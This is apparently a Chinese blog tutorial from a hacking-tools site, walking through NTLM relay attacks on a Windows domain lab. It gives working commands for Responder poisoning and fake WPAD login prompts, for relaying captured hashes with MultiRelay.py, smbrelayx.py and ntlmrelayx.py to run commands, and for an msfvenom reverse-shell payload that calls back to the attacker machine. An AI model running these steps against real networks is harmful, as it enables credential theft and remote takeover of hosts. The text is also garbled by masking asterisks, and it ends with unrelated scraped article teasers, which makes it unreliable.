内网渗透测试:NTLM Relay攻击分析

访客3年前黑客工具1296

在上一篇文章中《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中,我们利用LLMNR/NetBIOS劫持成功获得了目标主机的Net-NTLM Hash。我们获得了Net-NTLM Hash后首先想到的就是爆破,但是除非你有一个强大的字典,否则你很难得到明文密码。由于Net-NTLM Hash不像NTLM-Hash,我们不能用Net-NTLM Hash来进行PTH攻击。那么还有什么办法来利用Net-NTLM Hash呢?我们不妨试一下NTLM Relay攻击。

基础知识

由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在 *** 环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。

NTLM认证过程

1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。

?

2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。

?

3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。

?

4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

如果是在域环境中,那么认证过程会经过域控制器:

4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

?

5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

服务器根据DC返回的结果,对客户端进行回复

在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。

NTLM中继攻击原理

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

获得Net-NTLM Relay的思路

为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。

由于 *** B、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用 *** B、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击。下面总结几个获取思路:

利用LLMNR和NetBIOS欺骗获得Net-NTLMHash

前文《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中我们讲到Windows系统名称解析顺序为:

本地hosts文件(%windir%\System32\drivers\etc\hosts)

DNS缓存/DNS服务器

链路本地多播名称解析(LLMNR)和NetBIOS名称服务(N *** -NS)

也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(N *** -NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到 *** 中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个 *** ,从而允许 *** 上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。

(对于 *** B协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以攻击者可以模拟 *** B服务器从而截获hash)

利用WPAD劫持获得Net-NTLMHash

WPAD *** *** 自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个 *** 配置文件(PAC)URL的 *** 。WPAD通过让浏览器自动发现 *** 服务器,查找存放PAC 文件的主机来定位 *** 配置文件,下载编译并运行,最终自动使用 *** 访问 *** 。

一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是 *** 服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。

当你的浏览器设置为 “自动检测 *** 设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。

Responder可以创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。

?responder -I eth0 -r on -v -F on -w on 

Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。

此时,员工没有安全意识的话就会写入在域中使用的用户名和密码。 最后,我们可以看到他们的Net-NTLM Hash。

此外,我们还可以利用传统web漏洞,如XSS、文件包含等获取net-NTLM hash(传送门)。

还有就是metasploit中的会创建一个带有的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。

*** B Relay( *** B中继)攻击

这里我们演示 *** B协议的Relay攻击,这是最直接最有效的 *** 。可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。

这里主要有两种场景

详情见:https://www.anquanke.com/post/id/194069#h2-4

1.工作组环境

这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对 *** b reflect到 *** b 做了限制,防止了同一主机从 *** B协议向 *** B协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

自从MS08-068漏洞修复之后无法再将哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用 *** B签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 *** B签名。

链接:https://www.jianshu.com/p/c7d8e7d9c03c

2.域环境

域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启 *** b签名)

攻击演示

测试环境:

? ? ? ?攻击机kali:192.168.52.131

? ? ? ?windows 7:192.168.52.143

? ? ? ?windows server (DC):192.168.52.138

? ? ? ?windows 2003:192.168.52.141

Responder中的MultiRelayx.py

我们在进行中继之前,先用responder工具包里面的RunFinger.py脚本扫描域内机器的 *** B签名的开放情况:

image-20200722102745409

可以看到域内主机的 *** B 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:

?python MultiRelay.py -t <被攻击ip> -u ALL

现在 *** B 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将 *** B和HTTP的On改为Off:

重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取 *** 中所有的LLMNR和NetBIOS请求并进行响应)

image-20200722103814932

此时我们在DC(192.168.52.138)上随便传递一个 *** B流量:

我们看到已经拿到了 192.168.52.143 的shell :

我们就可以对进行控制了:

Impacket中的 *** brelayx.py

攻击者伪造一个恶意的 *** B服务器,当内网中有机器Client1访问这个攻击者精心构造好的 *** B服务器时, *** brelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 *** brelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。

开始实战,用 *** brelayx.py 脚本来完成任务,用选项来在受害机192.168.52.143上面执行命令:

?https://www.freebuf.com/articles/network/ *** brelayx.py -h <Client2 IP> -c Command

此时我们让Client1访问这个攻击者精心构造好的 *** B服务器:

?net use \\192.168.52.131

此时,攻击者的 *** brelayx.py脚本上就会发现命令成功执行了:

在实战中,我们会提前生成了一个 Metasploit 的 payload 并放置在当前目录下,然后用选项在目标主机上传并运行我们的payload

先生成一个metasploit木马:

?msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe

设置好中监听:

这里要注意,我们要设置在成功得到session后自动迁移进程,如果没有自动迁移进程,那么在的时候,会话也随之关闭了。

然后执行 *** brelayx.py脚本:

随后在Windows server 2008上执行来访问攻击者搭建的恶意 *** b服务:

此时攻击者的 *** brelayx.py脚本上会有反应:

并且msfconsole上成功获得了192.168.52.143(windows 7)的会话:

Metasploit中的 *** b_relay模块(ms08-068)

执行运行

随后在windows 2003的cmd中执行来访问攻击者搭建的恶意 *** b服务:

这时,攻击者msfconsole中就可以看到windows 2003反弹来的会话了:

(注意:Metasploit的 *** BRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对 *** b reflect到 *** b 做了限制,防止了同一主机从 *** B协议向 *** B协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器

?https://www.freebuf.com/articles/network/ntlmrelayx.py -t <指定的被攻击 IP> 

我们同样可以利用选项来在目标主机上面执行命令:

?https://www.freebuf.com/articles/network/ntlmrelayx.py -t  *** b://192.168.52.143 -c whoami - *** b2support

然后只要使用其他 *** 诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或 *** B服务,并输入用户名密码:

攻击者的ntlmrelayx.py上面即可显示成功在192.168.52.143上执行命令:

但在实战中,我们也可以利用选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。

先用empire生成powershell的payload:

?ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'

responder同样需要关闭 responder 的 *** b 和 http,然后启动:

随后在Windows 8上执行,产生任意 *** b流量

此时攻击者的ntlmrelayx.py脚本有了反应:

查看empire页面,已经成功获得了192.168.52.143的会话:

进入会话,可以执行命令:

Ending......

总之,这是一个拿域内主机的 *** ,在横向移动中利用还是挺不错的,可以直接控制域内主机,包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等。

参考:

https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA

https://www.freebuf.com/column/202842.html

https://www.jianshu.com/p/c7d8e7d9c03c

https://www.anquanke.com/post/id/194069#h2-4

由于疫情,学校一直没开学,趁着时间不如好好跟着大佬们学学,文章大多是我学习的总结,因初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。
个人博客:https://whoamianony.top/

相关文章

中国黑客信息查询(黑客在线查询个人信息)

中国黑客信息查询(黑客在线查询个人信息)

本文导读目录: 1、中国有那些出名的黑客? 2、中国黑客前5名分别是谁? 3、中国最有影响力的黑客是谁? 4、中国有哪些有名的黑客? 5、中国的黑客有哪些? 6、目前中国顶尖黑客是...

这组酒文案,都是男生恋爱中的小心思

这组酒文案,都是男生恋爱中的小心思

恋爱搭配“微醺”这个品牌,是再符合不外的。 爱情中的男女,最不缺的就是各类百般的小心思。 去年的RIO微醺跟周冬雨相助的告白《微醺爱情物语》,在流传和口碑上都得到了很好的结果。 本年的RIO微醺,则...

如何找回我家老公和别人的开房记录

宝宝的肠胃是比较脆弱的,特别是在季节交替的时候孩子一不小心就会生病,比如孩子拉肚子就是比较常见的症状,那么春季应该怎样预防宝宝拉肚子呢,如果宝宝腹泻家长应该如何护理。宝宝哪些情况下的拉肚子是需要及时就...

第一天做客服不想做了(客服适合长期干吗)

第一天做客服不想做了(客服适合长期干吗)

我的第一份工作也是客服岗位,同样也离职了,因为我在某一刻突然发现我不可能做一辈子的客服,这不是我想要的工作和生活,于是毅然辞职,却又陷入了什么都不会,不知道自己能做什么的迷茫。 大学毕业的第一份工...

黑客怎么看(黑客怎么看懂代码)

黑客怎么看(黑客怎么看懂代码)

本文导读目录: 1、如何看待黑客 2、黑客文化很有特点,你是怎么看待的? 3、什么是黑客,他们看什么? 4、怎么判断手机有黑客 5、对于黑客你有怎样的理解? 如何看待黑客 您好!...

如何知道邮箱是否被黑客进入(怎么确定我的邮箱是否被黑客控制)

如何知道邮箱是否被黑客进入(怎么确定我的邮箱是否被黑客控制)

本文目录一览: 1、怎么样知道是否有人登陆过我的邮箱 2、如何知道自己的邮箱被盗了? 3、如网易邮箱密码被别人破解后,对方进入邮箱会不会留下登陆记录?或者说怎么才能发现邮箱密码已被窃取呢?...